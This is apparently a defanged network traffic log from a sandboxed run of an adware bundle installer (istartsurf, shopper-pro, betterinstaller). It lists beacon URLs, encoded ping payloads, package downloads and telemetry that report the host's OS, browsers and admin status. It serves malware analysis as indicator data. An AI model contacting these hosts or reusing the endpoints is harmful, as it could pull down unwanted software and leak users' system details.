hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/18118.ashx?e=/9ZmISdorEtPNjxRBLtb409PmrGON2wU/WD6e6SZIIHeyzV7AofXlhYwsCIys4jFl9RbU5Ar lwjvoO1MsIPreLt6BhzfOsDBXnWkuh5LzaUfdGpw3nUglF9z0WypnnGstnhkcefCVXiLuGcd2F1x25D993ilxFQ7nJDKdFRkjljTyNjjzEEmvfwqbgkyABd	198.232.124.192
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/22693.ashx?e=WL9usJOVMsOip5SW8XfeItPoRc85Bdu1mGhKD76UfDBAXdQqxJ1vaxGgYkoQykSFfl0yK7ww8bRyJZkR RdXtlMLSuKCsuLN/hx03Dxo5hagrJighumfZYxV XbSIgCs1JJpRAUOpYSeY/e3xqcYN8E2yJSrxXsm/wrq F9pWAXb8zyMlAjNJ94BVzIM sbWFAL52sIXt4UeH8s8AG8ECxxc81u2rgCm44UuTa3qd5D7MusukiOxFdiKwrj11afInlMDvET1AqkEB1KJjJJfUAE70KA8ZXhbA8YCZx49749T/rv 3Ugl9NjP1QedMB/cy/B6ujnJrtI0fJ30mPWB3MJ9BqBjylb5Pk55LBQN29pMQBpyXuqMyrUTQJflqOXAaUNQllbcTcM6MHnBrJ0bNg0bPE7e2 oTmuRTnZftl08=	198.232.124.192
hxxp://installer.betterinstaller.com/pinger?event_type=install_start&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=607deb71d8f3494f867a2b514a49c4e9&uniqid=5423049c0be0b64dd47e76f4552912c0&affiliate_id=videoplayer&software_id=videoplayer&sponsored_id=istartsurf&tokyo_csrf2_key=88966f544384af5b75c38bd84c516aee&tokyo_csrf2_timestamp=1429342472&slot_number=3&index_in_screen=1&index_in_session=3&0.7220310269340358
hxxp://repjs.shopper-pro.com/app/ping.ashx?e=b1dRW7RxYKcVc8R/SQUwTB0R8FZu6GaDqC6oiplFTAjZhN5o5pkk8XKxIhAz9Yyq0ZANVlTfa0mqiRYw3wYJD9kq6IHSvLFkvq zYkkBMnThVOZjHwNmMLSU69xHuB8Lk6Cr9laSF2XrRbZnBny0uhv3iEz1ZNnAt9LqlyOzWzdYajJERvEzx5ndg67xTtCvTIzvqZgRdSOU1 Vv02kk1EQ2j3/SZrch4i7hnHdhdcduQ/fd4pcRUO5yQynRUZI5Y08jY48xBJrkFDCJCimLsvNsA1iuxLaBO3MAaHEZgUY=	54.197.238.106
hxxp://173.239.4.105/app/ping.ashx?e=hNMAVKhukrzd/jwMCMorqtPoRc85Bdu1X5t0ccytewz7RH4w/5EvdQk4teRL0v HZuS0/O3oV2pBhrP9twY3lDDlic64H1m3f27u WcRw/YhuZ4SlmSTqiTJ5rC/nSg4nDgs7q5vmXmsGOqWbMqdvXVZ Zort0Xz3M2Ge/ KBdjG4Lnbcm9hh1KSSkgkzJM10ClxJsX5qO1ZySIyJVh8l6AwGw39X SPVPxSpXQH7h ov2qF7 s26xgpPxsF/Pl3421T7C4kylMMbsqBpZyLytZDXSYpq/nUDxJ w6ryxW8=
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/18920.ashx?e=HfxXOGS/z9PT6EXPOQXbtZhoSg lHwwQF3UKsSdb2t7HO4WybUyR1UeQGsGyqMaRHwteY6jbdnAuOtpoKe0emAqR2XPWVGhv0BJaho5/afQlB3kfGAhd7KfjViNnCJbBPFyFq4etD2F1daz2AcKxastnHeKqEA5dKHj74dJ/dwoDd7hh3KMfQ==	198.232.124.192
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/18920.ashx?e=HfxXOGS/z9PT6EXPOQXbtZhoSg lHwwQF3UKsSdb2t7HO4WybUyR1UeQGsGyqMaRHwteY6jbdnAuOtpoKe0emAqR2XPWVGh jCDsw4o/xYUAvnawhe3hVdVxGgZRPVfMXFTku JRco heK0xfXkQRxc81u2rgCm44UuTa3qd5D7MusukiOxFdiKwrj11afInlMDvET1AqkEB1KJjJJfUAE70KA8ZXhbA8YCZx4974 zJt4fGRObk452zEuD36G9h9F6BDBmnZsR fXJinWV7npoW8o/g6d5g577mTPDhZg2zg/uCXuilY0oQa07NiSGsEjASvIF4HoX1dGgWnCEBVCDElAf1p3wmJROK kldW4J6blCBZVH/6vZ0Q0A71TyG5M31uXvEjKEsIucI0jO5DTMAOoTHsa8ghglp2MkM4N6cXEkRPtSLcdoZf351iL7eOIVv11ZBFiABXq4lJdSL4niG EEqyJ1imH/ytAEnP8g4OXBRL809EjwpD Gi/s2hki2VnUOF/T8SaNRCRsmEZ VHZOb8y8DxVk38YkIpfOlqEtcad3bi2w4EwNd3hnZzyAuKvxeUtJLZHb32Vyfmi39AMJZmA9cBPFyFq4etD2F1daz2AcKxastnHeKqEA5dKHj74dJ/dwoDd7hh3KMfQ==	198.232.124.192
hxxp://173.239.4.105/app/ping.ashx?e=2fVCHF6kf8gqMrckuXQYBDiw95hgje5ZDg7jkQr72VISZTerw9Y85dVUaX7QH4byNJ0yl9harBSLcjHZ8Eo6ld5/ihk02ukUqgUMBNjGcDJgKkdlz1lRofUDr3 uV4Ko6jA0ovCT514E8XIWrh60PYXV1rPYBwrFqy2cd4qoQDl0oePvh0n93F2fKohH1AHQv6YGHB3T/Jm1E0CX5ajlwGlDUJZW3E3DOjB5waydGzYNGzxO3tvqEyQBdImr5T91HySmeDQikgk=
hxxp://repjs.shopper-pro.com/app/ping.ashx?e=WL9usJOVMsOEyHZoFFyrCB0R8FZu6GaDFeMezcHjzXHZhN5o5pkk8XKxIhAz9Yyq0ZANVlTfa0nHHgvdsYdW7Nkq6IHSvLFkLtq7zMORfxfhVOZjHwNmMLSU69xHuB8Lk6Cr9laSF2XrRbZnBny0uhv3iEz1ZNnAt9LqlyOzWzdYajJERvEzx5ndg67xTtCvTIzvqZgRdSOU1 Vv02kk1EQ2j3/SZrch4i7hnHdhdcduQ/fd4pcRUO5yQynRUZI5Y08jY48xBJrkFDCJCimLsvNsA1iuxLaBO3MAaHEZgUY=	54.197.238.106
hxxp://repjs.shopper-pro.com/app/ping.ashx?e=WL9usJOVMsOEyHZoFFyrCB0R8FZu6GaDFeMezcHjzXHZhN5o5pkk8XKxIhAz9Yyq0ZANVlTfa0lFniNYS8SCXUh6jr A64ihZcIrLF/KDw30Dx2m 0F47aFzcNuM2tbw9BidDXGgpIGJlifxMfc97cyVb1EWo6eKJH9U/ACsdnVAwKDd eIotbOne3jMJ7z31g28yHncZl36MsH14a 2/kcUO4KXSWJxRZtWDCLE1Y iq7B1sUrV9jP1QedMB/cy/B6ujnJrtI0fJ30mPWB3MJ9BqBjylb5o0oOHh2ZuBol7seRJcZZoJLMm0uDrjC3Kf3 sxlWoMFMTMAmIFjhzdRBuqkwVXyB4EQZ7ESYof3EczNCCvyngQ==	54.197.238.106
hxxp://repjs.shopper-pro.com/app/ping.ashx?e=yhrBLBbZM9XWk3RCzFhOxraYpCrEeTtn62ls PLHCLDT03ZwnpMmri4u 59fITlqtmv4OlaXDlF0H0/8fBpMfpzI6WjgFlNrd6j7/wRBDsRoqvWX6JwkevDehHIxlAXyb98NyY 3Jv/oKdNf4wHzMP/l0k1T1nn7b588fAguahpqadCmmmNJTNNeVrTC3wKjOLD3mGCN7ln4nfgxruy9iDDlic64H1m3DZx6j6IjKn2rMrg41l/Ly7CST5Ycto3cE6nMAQ0x67lxVrNxtz1yEeNK5GwXtY6vunew/6f/ygRU/FKldAfuH6i/aoXv6zbrGCk/GwX8 XfjbVPsLiTKUwxuyoGlnIvKuZP /RqMPfI=	54.197.238.106
hxxp://repjs.shopper-pro.com/app/ping.ashx?e=l5ZGX8WfGzEdEfBWbuhmg1vbxkDIvyv12YTeaOaZJPFysSIQM/WMqtGQDVZU32tJRZ4jWEvEgl1Ieo6/gOuIoWivYS/d2rWv9A8dpvtBeO2hc3DbjNrW8PQYnQ1xoKSBiZYn8TH3Pe3MlW9RFqOniiR/VPwArHZ1QMCg3fniKLWzp3t4zCe899YNvMh53GZd jLB9eGvvtv5HFDuCl0licUWbVgwixNWPoquwdbFK1fYz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW aNKDh4dmbgaJe7HkSXGWaCSzJtLg64wtyn9/rMZVqDBTEzAJiBY4c3UQbqpMFV8geBEGexEmKH9xHMzQgr8p4E=	54.197.238.106
hxxp://xa.xingcloud.com/v4/sof-installer/267123711_198339_B48A115F?action1=xa.geoip&action2=visit&action3=smt.visit.istartsurf&update1=ref,smt&update2=identifier,installer&update3=version,6.6.86.1606&update4=nation,us&update5=language,en	65.255.35.142
hxxp://dqoup4b5zs0bi.cloudfront.net/infv5/index/3428/bnd	54.230.44.181
hxxp://dlrkbt247pbk6.cloudfront.net/3428_3b67a5ef5d450c1556c543c6323981d9/1.pak	54.230.45.186
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/18118.ashx?e=xY8ohDYpM h6gEVzoYeGJx0R8FZu6GaD6TCsg12m1yuMDmRWpWBZ0CAvELRpepitjKjHf0fty0jZkIQ0C t5xJ/3uNZ 6W0Kb GEwPiedNJfOKWYd4uGNAB/MXM5vy8Es IILilpWF0R fXJinWV7npoW8o/g6d5g577mTPDhZg2zg/uCXuilRVlr7QS9sMQ4td6Rt2cx8sFsK7/Ya3qp3H4CQmKwMH4mSX0slVqEAn3iSFFCNvSibmv2IW2mkLW4Sygye4Bx OK6Bbaa/22OWbU/CGmJ5Yn	198.232.124.192
hxxp://repjs.shopper-pro.com/app/ping.ashx?e=WVbe3wHlwMEdEfBWbuhmg7WEylQmklYi3Pumfblmu5B9EKWfiY9Pr/lWymhtcc3oSGExqW4qn7xTgtGbaWrGbzEsdSRpTTrrYOU1y/YINRHLxDHmWqXbsqi/aoXv6zbrGCk/GwX8 XfjbVPsLiTKUwxuyoGlnIvKl8axoeNMkn46SEXCM79iefveis23DNM6naQQuHaXH0P7e7Z5lK2CBt35bH/eTc70z3EdWN1pnr9bmahbZLJ8Q3BYBZLbJs2rZZUU/f1SSFExPMluxhCtvoCVgVSQ8U4bxuC523JvYYdSkkpIJMyTNdApcSbF ajtWckiMiVYfJe0t1UorR32ajRt6ubd2oIq4F2xhoO7ZbWM6W43gx8rzU6RGDBhG84Zi4lKa3GrnqJbHve/RKFqd qCUmdZEWwWs8ya6UFuui5uYnlvRPjU9A==	54.197.238.106
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/26666.ashx?e=P5c0s7lb4RzT6EXPOQXbtRiFdv5RNWvwQF3UKsSdb2t7HO4WybUyR1UeQGsGyqManeeRuA04mvildlcWxid0BWAqR2XPWVGhv0BJaho5/afQlB3kfGAhd7KfjViNnCJbBPFyFq4etD2F1daz2AcKxastnHeKqEA5dKHj74dJ/dwoDd7hh3KMfQ==	198.232.124.192
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/26666.ashx?e=P5c0s7lb4RzT6EXPOQXbtRiFdv5RNWvwQF3UKsSdb2t7HO4WybUyR1UeQGsGyqManeeRuA04mvildlcWxid0BWAqR2XPWVGh jCDsw4o/xYUAvnawhe3hVdVxGgZRPVfMXFTku JRco heK0xfXkQRxc81u2rgCm44UuTa3qd5D7MusukiOxFesStD0GefRoGKcnwsyLt5XukVrhYbwr D2q5sOnn E//Dw8o2fbvVqcMM7jAoddqLdDuCot28iq0o3 yQeiL1SuvBinayp0tcns/kzQV2BeYxBeMPUCLMldOWqG7q5ZOTE1c/KyCxwrHp0Nl0 g/bUa43ky18UiOglW/2k0Bn7juyI5Smb5 tt2SpsD0lHiG3ge36Sj48TdNf5jdoJJmc3Ay7jXvVhKQ9TL8V0QlNSd0FBlbLLy9bYRYMHpWGKYIghlLS1lYicLMakHZ/6A7iV3ktSrv7ljo83blC6RlaT VZn0CSeruiCYs6LDk67DSsbgudtyb2GHUpJKSCTMkzXQKXEmxfmo7VnJIjIlWHyXPyVuRvRqbhg=	198.232.124.192
hxxp://xa.xingcloud.com/v4/sof-installer/267123711_198339_B48A115F?action=smt.dlzip1.istartsurf.finish,4	65.255.35.142
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/18920.ashx?e=/kyMh6fFcsSfZNC1TqAoBOj/J1BagZZy1VMaOJFqXYpxTYwWxYG9WJlbztiqtoL/kmHgElHm6ZYksOc0XCZNd3ybChyDNa6NRYWqdbL0ug8/YT/CC0O0kymF904v4t2Drf57lxgtZUO8SrVcKYQhP8obAwxzSCek2ATGx5ZDOfbzPStYLaGMgGl0PeT0HPnpK1sXKQZB4UkN5AqUm 96JqWsmpz2pAArjPDFOy mdVxc7JTfzqJuQ2xNoUmVdbK77K3bmITDI9tzfMa2zgJTnw==	198.232.124.192
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/25356.ashx?e=9g1KGrSSDbGfZNC1TqAoBOj/J1BagZZy1VMaOJFqXYpxTYwWxYG9WJlbztiqtoL/oUDW29 K3KY2pDbRIArAn3f1ws7XaD2yRYhZSGl8ahHJscN vLrCo78exDZM0cTsP3GhIJ9WssI TdI1rDUfDB/Kp5gsiu7 yQUz6dheYMQvjIa5KtPcv0GwORpUjcC7WAbvJVExSwPGCkggys1PVXld7plMo70c5pdl3V4yoSZtC3ZUXmNv4hOEZ9fC9NN7s9C7tmmeIQ4UJj9eY3tRmk7I4yfJnN09oTHVEzLxRanuR8rlFQ995d4TrHByixEmP/UXbcZNjCNC2R6oUEzU7X uCP23qgmhjYlTw jbadRKd6wzbzFcB3jtjjc4HW ltcCtVoefq2OHJeZ7WltgDYe5NiVGfA/F8Pjo5DFIsXNvS0/1jJXs/pUMgQqfs/z4lSAartU4EMfdSyEkynjdwnJHU7abfgiRB4Cp3gaug073iSFFCNvSibmv2IW2mkLW4Sygye4Bx OK6Bbaa/22OWbU/CGmJ5Yn	198.232.124.192
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/25356.ashx?e=9g1KGrSSDbGfZNC1TqAoBOj/J1BagZZy1VMaOJFqXYpxTYwWxYG9WJlbztiqtoL/oUDW29 K3KY2pDbRIArAn3f1ws7XaD2yIg0p1vUMLr4E8SFHLIEPsGJTlYCQaOf7GuVxeoIbRG3Yz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW Q==	198.232.124.192
hxxp://repjs.shopper-pro.com/app/ping.ashx?e=wlkQ3WKgYpRPNjxRBLtb43eS3LHPhAPU8VJzSL2ntQTrKx2bEbCHzOcoyReJ NwWyxib6hKcAO9IYTGpbiqfvFOC0ZtpasZvMSx1JGlNOutg5TXL9gg1EcvEMeZapduyqL9qhe/rNusYKT8bBfz5d NtU wuJMpTDG7KgaWci8qXxrGh40ySfjpIRcIzv2J5 96KzbcM0zqdpBC4dpcfQ/t7tnmUrYIG3flsf95NzvTPcR1Y3Wmev1uZqFtksnxDcFgFktsmzatllRT9/VJIUTE8yW7GEK2 gJWBVJDxThvG4Lnbcm9hh1KSSkgkzJM10ClxJsX5qO1ZySIyJVh8l7S3VSitHfZqNG3q5t3agirgXbGGg7tltYzpbjeDHyvNTpEYMGEbzhmLiUprcaueolse979EoWp36oJSZ1kRbBazzJrpQW66Liy6clAa0L70	54.197.238.106
hxxp://log.very911.com/install.gif?bundle=istartsurf&ptid=smt&uid=267123711_198339_B48A115F	184.173.191.224
hxxp://xa.xingcloud.com/v4/sof-installer/267123711_198339_B48A115F?action=smt.installer.istartsurf.regok	65.255.35.142
hxxp://xa.xingcloud.com/v4/sof-installer/267123711_198339_B48A115F?action=smt.installer.istartsurf.ds	65.255.35.142
hxxp://online.speedbit.com/online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=0bab2a10-0a3c-4ff7-bea3-06b298294831&Password=t4GCMrk5&OS=10&V=3.3.9.5&VS=1&Beta=0&Aff=smtyc0_0_0_0_0,a0968f9e-e6b6-4bae-9c17-c7f1ed550818,&BundleID=NONE&BrandID=NONE&PartnerList=&XMLVersion=20131113143800&UpdateReason=0&resver=1.0.0.8&VA_Aff=NONE&XMLUpdateFailed=0&ElapsedTime=1429342553&SBPIDS=1	212.143.22.214
hxxp://test.youtubeaccelerator.com/video_accelerator/wizardtest/SMALLTEST.HTM?random=536159&mode=nolsp	107.20.238.80
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/26666.ashx?e=hXeqmv1IpenVj9BNm3y5B0belg2D2pPZoOZ8Vy4PwRADt2EUeZbtRVHmS0Zrngqa/u6z7Uinv/h6ZrthVcoqpWiZCCrzprTQ2/M8jJQIzSfeAVcyDPrG1hQC drCF7eFHh/LPABvBAscXPNbtq4ApuOFLk2t6neQ zLrLpIjsRXrErQ9Bnn0aBinJ8LMi7eV7pFa4WG8K/g9qubDp5/hPwTxchauHrQ9hdXWs9gHCsWrLZx3iqhAOXSh4 HSf3cKA3e4YdyjH0=	198.232.124.192
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/25356.ashx?e=XJYuqQQo69eJxiP7f9a/G9PoRc85Bdu10 mctsfeJ2JAXdQqxJ1va3sc7hbJtTJHVR5AawbKoxo5/by02XtOY1 Lxpxew5WTYCpHZc9ZUaFgmm5xjmBlpCI3FLqKedV9QoAE/or KqogGeUpHHIWiSSfRcuIfR0fUu0KI1IApgUwqc65TUDdv/PP1z34ZOLg2TlWCDVUKsXMI41K2f6iZFP u/7dSCX02M/VB50wH9zL8Hq6Ocmu0jR8nfSY9YHcwn0GoGPKVvk=	198.232.124.192
hxxp://xa.xingcloud.com/v4/sof-installer/267123711_198339_B48A115F?action=smt.installer.istartsurf.hp	65.255.35.142
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000171&i=100&n=init_start_funnel_step_name&rnd=1429342556
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000805&i=100&n=init_start_funnel_step_name&rnd=1429342557
hxxp://ipgeoapi.com/	107.22.254.153
hxxp://s3-website-us-east-1.amazonaws.com/installer.gif?action=started&app=70299&appver=0&ver=1_36_01_22&version_date=15-04-18&bic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&upi=f1455de99fbc9c9080e7ed2fd747836e&procid=D2C3D8ACABFF4453B526483BE0349472PI&srcid=000805&subid=0&zdata=eyJkYXRhIjp7ImRhdGUiOiJGNEl3c210eWMxLCUlUElYR1VJRChhZmY9c210eWMmc3ViPTEmcHJvZHVjdD15dGE=,&browser=ie&browserver=10&default=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&xpiver=0_95&crxver=1_26_36&silent=1&os=7(64bit)&osbuild=7601&osprod=Windows 7 Professional N&ossp=Service Pack 1&osinstdt=1363796288&admin=1&type=17179873281&asw=0&asw2=1073750533&asw3=-2147475456&asw4=2048&crtnm=na&mdat=&procstarttime=1429342557&procruntime=5&rnd=1429342562
hxxp://s3-website-us-east-1.amazonaws.com/installer-error.gif?action=sesamy&app=70299&appver=0&ver=1_36_01_22&version_date=15-04-18&bic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&upi=f1455de99fbc9c9080e7ed2fd747836e&procid=D2C3D8ACABFF4453B526483BE0349472PI&srcid=000805&subid=0&zdata=eyJkYXRhIjp7ImRhdGUiOiJGNEl3c210eWMxLCUlUElYR1VJRChhZmY9c210eWMmc3ViPTEmcHJvZHVjdD15dGE=,&browser=ie&browserver=10&default=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&error=0&silent=1&os=7(64bit)&osbuild=7601&osprod=Windows 7 Professional N&ossp=Service Pack 1&osinstdt=1363796288&admin=1&type=17179873281&asw=0&asw2=1073750533&asw3=-2147475456&asw4=2048&crtnm=na&procstarttime=1429342557&procruntime=5&rnd=1429342562
hxxp://cds.c5z6s5a3.hwcdn.net/monetization.gif?event=3&ibic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&campaign=000805&country=ua&app=70299&os=7(64bit)&defbro=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&starttime=1429342557&asw=0_1073750533_-2147475456_2048&browser=ff&rnd=1429342557
hxxp://xa.xingcloud.com/v4/sof-installer/267123711_198339_B48A115F?action=smt.installer.istartsurf.nt.ff.tab	65.255.35.142
hxxp://xa.xingcloud.com/v4/sof-installer/267123711_198339_B48A115F?action=smt.installer.istartsurf.finish	65.255.35.142
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000805&i=200&n=init_end_funnel_step_name&rnd=1429342562
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000805&i=300&n=deploy_start_funnel_step_name&rnd=1429342563
hxxp://s3-website-us-east-1.amazonaws.com/installer.gif?action=started&app=70121&appver=0&ver=1_36_01_22&version_date=15-04-18&bic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&upi=f1455de99fbc9c9080e7ed2fd747836e&procid=6C010886E904470BB81A72CBEAFC3956PI&srcid=000171&subid=0&zdata=eyJkYXRhIjp7ImRhdGUiOiJGNEl6dHNtdHljMCxhMDk2OGY5ZS1lNmI2LTRiYWUtOWMxNy1jN2YxZWQ1NTA4MTgsIiwidW5xIjoiYTA5NjhmOWUtZTZiNi00YmFlLTljMTctYzdmMWVkNTUwODE4In19&browser=ie&browserver=10&default=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&xpiver=0_95&crxver=1_26_32&silent=1&os=7(64bit)&osbuild=7601&osprod=Windows 7 Professional N&ossp=Service Pack 1&osinstdt=1363796288&admin=1&type=17179873281&asw=0&asw2=1073750533&asw3=-2147475456&asw4=2048&crtnm=na&mdat=&procstarttime=1429342556&procruntime=7&rnd=1429342563
hxxp://s3-website-us-east-1.amazonaws.com/installer-error.gif?action=sesamy&app=70121&appver=0&ver=1_36_01_22&version_date=15-04-18&bic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&upi=f1455de99fbc9c9080e7ed2fd747836e&procid=6C010886E904470BB81A72CBEAFC3956PI&srcid=000171&subid=0&zdata=eyJkYXRhIjp7ImRhdGUiOiJGNEl6dHNtdHljMCxhMDk2OGY5ZS1lNmI2LTRiYWUtOWMxNy1jN2YxZWQ1NTA4MTgsIiwidW5xIjoiYTA5NjhmOWUtZTZiNi00YmFlLTljMTctYzdmMWVkNTUwODE4In19&browser=ie&browserver=10&default=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&error=0&silent=1&os=7(64bit)&osbuild=7601&osprod=Windows 7 Professional N&ossp=Service Pack 1&osinstdt=1363796288&admin=1&type=17179873281&asw=0&asw2=1073750533&asw3=-2147475456&asw4=2048&crtnm=na&procstarttime=1429342556&procruntime=7&rnd=1429342563
hxxp://test.youtubeaccelerator.com/youtube_accelerator/wizardtest/SMALLTEST.HTM?random=545067&mode=nolsp	107.20.238.80
hxxp://d3dl09kxmzkap.cloudfront.net/infv5/index/3428/3rd	54.230.44.181
hxxp://cds.c5z6s5a3.hwcdn.net/monetization.gif?event=3&ibic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&campaign=000171&country=ua&app=70121&os=7(64bit)&defbro=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&starttime=1429342556&asw=0_1073750533_-2147475456_2048&browser=ff&rnd=1429342556
hxxp://repjs.shopper-pro.com/app/ping.ashx?e=R278SAfkg0UdEfBWbuhmg8i7y9Wq3PKH3Pumfblmu5B9EKWfiY9Pr9w9nGpQKxy70q Jjl2n6lTqMDSi8JPnXntmD8Dkx2dtxTFIShqYYGTBXl5O1yvgpiF9IrLvliBDg8 LdmjV KAMTwC1GHZcjnyUzwl0yV3mKs4wGey2R6P2TrTA1FIWLRfPsjAwYrz0BON6bpifNP90ZOR3qDKzNEkiM1XqVHspN5k/xV0ou3jDB1OlY/J/1vQgotM9HbIIwHDw 8KufmNaiBRb33Cbh3MEJ9DH/1MrsXTzfnhLtiuM8MU7L6Z1XFzslN/Oom5DbE2hSZV1srvsrduYhMMj26C9PLeYwYaPTl2pfP1 VeNlvtdc20PV5GDlNcv2CDURy8Qx5lql27Kov2qF7 s26xgpPxsF/Pl3421T7C4kylMMbsqBpZyLysUNmRCuZ3Nn	54.197.238.106
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000171&i=200&n=init_end_funnel_step_name&rnd=1429342563
hxxp://dlrkbt247pbk6.cloudfront.net/3428_92a5d683c188790231b1aa2af09de41e/2.pak	54.230.45.186
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000171&i=300&n=deploy_start_funnel_step_name&rnd=1429342563
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000805&i=400&n=deploy_verifier_start_funnel_step_name&rnd=1429342564
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000805&i=500&n=deploy_notification_start_funnel_step_name&rnd=1429342564
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000171&i=400&n=deploy_verifier_start_funnel_step_name&rnd=1429342564
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000805&i=600&n=deploy_omaha_start_funnel_step_name&rnd=1429342564
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000805&i=700&n=deploy_ch_start_funnel_step_name&rnd=1429342565
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000171&i=500&n=deploy_notification_start_funnel_step_name&rnd=1429342565
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000805&i=800&n=deploy_nova_start_funnel_step_name&rnd=1429342565
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000171&i=600&n=deploy_omaha_start_funnel_step_name&rnd=1429342565
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000805&i=900&n=deploy_ff_start_funnel_step_name&rnd=1429342565
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000171&i=700&n=deploy_ch_start_funnel_step_name&rnd=1429342565
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000171&i=800&n=deploy_nova_start_funnel_step_name&rnd=1429342565
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000171&i=900&n=deploy_ff_start_funnel_step_name&rnd=1429342566
hxxp://xa.xingcloud.com/v4/sof-installer/267123711_198339_B48A115F?action=smt.installer.istartsurf.wpm	65.255.35.142
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000805&i=950&n=deploy_nova_ie_start_funnel_step_name&rnd=1429342568
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000805&i=1000&n=deploy_ie_start_funnel_step_name&rnd=1429342568
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000805&i=1100&n=deploy_updater_start_funnel_step_name&rnd=1429342568
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000805&i=1200&n=deploy_watchdog_start_funnel_step_name&rnd=1429342570
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000805&i=10000&n=deploy_end_funnel_step_name&rnd=1429342570
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000171&i=950&n=deploy_nova_ie_start_funnel_step_name&rnd=1429342571
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000171&i=1000&n=deploy_ie_start_funnel_step_name&rnd=1429342571
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000171&i=1100&n=deploy_updater_start_funnel_step_name&rnd=1429342571
hxxp://xa.xingcloud.com/v4/sof-installer/267123711_198339_B48A115F?action=smt.installer.istartsurf.ient	65.255.35.142
hxxp://s3-website-us-east-1.amazonaws.com/installer.gif?action=finished&LFMR=_ffDll_0&app=70299&appver=&ver=1_36_01_22&version_date=15-04-18&bic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&upi=f1455de99fbc9c9080e7ed2fd747836e&procid=D2C3D8ACABFF4453B526483BE0349472PI&srcid=000805&subid=0&zdata=eyJkYXRhIjp7ImRhdGUiOiJGNEl3c210eWMxLCUlUElYR1VJRChhZmY9c210eWMmc3ViPTEmcHJvZHVjdD15dGE=,&browser=ie&browserver=10&default=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&xpiver=0_95&crxver=1_26_36&silent=1&os=7(64bit)&osbuild=7601&osprod=Windows 7 Professional N&ossp=Service Pack 1&osinstdt=1363796288&admin=1&type=17179873281&asw=0&asw2=1073750533&asw3=-2147475456&asw4=2048&crtnm=na&procstarttime=1429342557&procruntime=16&rnd=1429342573
